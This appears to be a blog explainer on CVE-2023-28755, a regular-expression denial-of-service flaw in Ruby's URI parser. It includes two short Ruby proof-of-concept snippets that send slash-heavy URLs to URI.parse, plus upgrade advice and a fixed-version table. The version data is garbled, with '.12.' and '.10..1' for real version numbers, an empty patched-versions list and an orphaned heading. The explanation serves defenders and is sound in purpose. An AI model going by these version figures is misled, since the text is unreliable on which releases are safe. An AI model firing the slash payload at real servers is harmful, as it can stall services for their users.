Ruby is a favorite programming language for many developers because of its simplicity and flexibility. But like any other software, it sometimes comes with security issues. One such issue is CVE-2023-28755, a Regular Expression Denial of Service (ReDoS) vulnerability found in the URI component for Ruby up to version 3.2.1 and in the uri Gem up to version .12.. Let's dig into what went wrong, how attackers can use it, and how you can stay safe.
What is CVE-2023-28755?
CVE-2023-28755 is a vulnerability in the URI parser in Ruby. Whenever you pass a string to URI.parse, Ruby processes it carefully to see if it’s a valid URL, like https://example.com. However, if a string is not valid, but contains some tricky characters, Ruby's parser tries extra hard to validate it using complex regular expressions (regex).
Attackers can craft special strings (bad URLs with things like repeated slashes) to make the regex slow. The more complex the string, the longer it takes — in some cases, seconds or even more. If attackers send enough of these bad strings, they can slow down or even freeze your Ruby app.
Technical Details and ReDoS Explanation
ReDoS stands for Regular Expression Denial of Service. It happens when a regex takes a very long time to process certain inputs. Ruby’s URI parser, at its core, uses regex to validate and split URLs.
The vulnerability kicks in when you give it a string like http:///////... (with a lot of slashes). The regex engine gets overwhelmed because the pattern matches in a way that causes exponential backtracking.
Vulnerable Demo Code
require 'uri'
malicious_input = "http://"+"/"*10_000+"a";
start = Time.now
begin
URI.parse(malicious_input)
rescue URI::InvalidURIError
puts "Error, but how long did it take?"
end
puts "Time spent: #{Time.now - start} seconds"
You’ll notice parsing takes a long time with the malicious string, especially as you increase the number of / characters.
Here’s how an attacker might target your Ruby web application
require 'uri'
require 'benchmark'
input = "http://///a";
10.times { input += "/" }
puts Benchmark.measure {
begin
URI.parse(input)
rescue URI::InvalidURIError
# ignored
end
}
Increase the number of / characters, and the parse time skyrockets. On a server, repeating this request could bog down your threads or even cause a crash, resulting in a denial of service.
Any app or gem that processes URLs dynamically
If these apps run on vulnerable Ruby or gems, they can be slowed down just by sending bad URLs, no authentication needed.
How to Fix It
Upgrade Ruby and/or the uri gem ASAP.
Patched versions:
How to upgrade
gem update uri
# or if using bundler:
bundle update uri
For Ruby itself, check your installation method (rbenv, rvm, system packages) and upgrade to a secure version.
If you can't upgrade right away, consider sanitizing all user input or using a non-vulnerable URL parser like addressable (make sure it's safe too!).
Links to References
- CVE-2023-28755 on NVD
- Official Ruby Security Advisory
- uri Gem Changelog
- ReDoS explanation by OWASP
Summary Table
| Component | Affected Versions | Fixed Version(s) |
|-------------------|------------------|------------------------------|
| Ruby | up to 3.2.1 | 3.2.2 and above |
| uri gem | up to .12. | .12.1, .11.1, .10.2, .10..1 |
Conclusion
CVE-2023-28755 serves as a good reminder: complicated regular expressions can be dangerous, especially when dealing with user input. Attackers can abuse slow regex patterns to cripple even fast servers with little effort.
Always keep your Ruby, gems, and libraries up to date! And remember, user input is more dangerous than it appears — validate and sanitize it, especially if you're parsing URLs.
If you want to read more or report similar issues, check out Ruby’s security page and stay safe!
Timeline
Published on: 03/31/2023 04:15:00 UTC
Last modified on: 05/26/2023 20:15:00 UTC